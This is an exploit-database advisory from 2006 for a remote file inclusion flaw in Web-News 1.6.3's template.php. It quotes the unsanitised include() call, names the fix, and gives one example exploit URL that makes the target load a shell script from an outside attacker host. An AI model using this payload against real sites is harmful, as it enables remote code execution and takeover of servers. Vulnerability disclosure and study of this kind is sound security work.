[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Web-News <= 1.6.3 (template.php) Remote File Include Vulnerability

Author
Drago84
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-878
Category
web applications
Date add
24-09-2006
Platform
unsorted
==================================================================
Web-News <= 1.6.3 (template.php) Remote File Include Vulnerability
==================================================================



###### ToXiC #########################
#
#BuG FounD  by Drago84
#
#Application Affect: WebNews
#Source Code:
#http://prdownloads.sourceforge.net/web-news/WebNews-1.6.3.zip?use_mirror=superb-west
#Problem:
# <?
#            include($content_page);
# ?>
#Solution : Declare $content_page
#Page Vulnerable : template.php

# Exempe Of ExPloit is:
#http://www.site.com/webnews/template.php?content_page=http://marcusbestlamer.gay/shell.php?
#GrEatZ All Member of ToXiC, Str0ke
# ToXic Security
###### ToXiC #########################



#  0day.today [2024-12-25]  #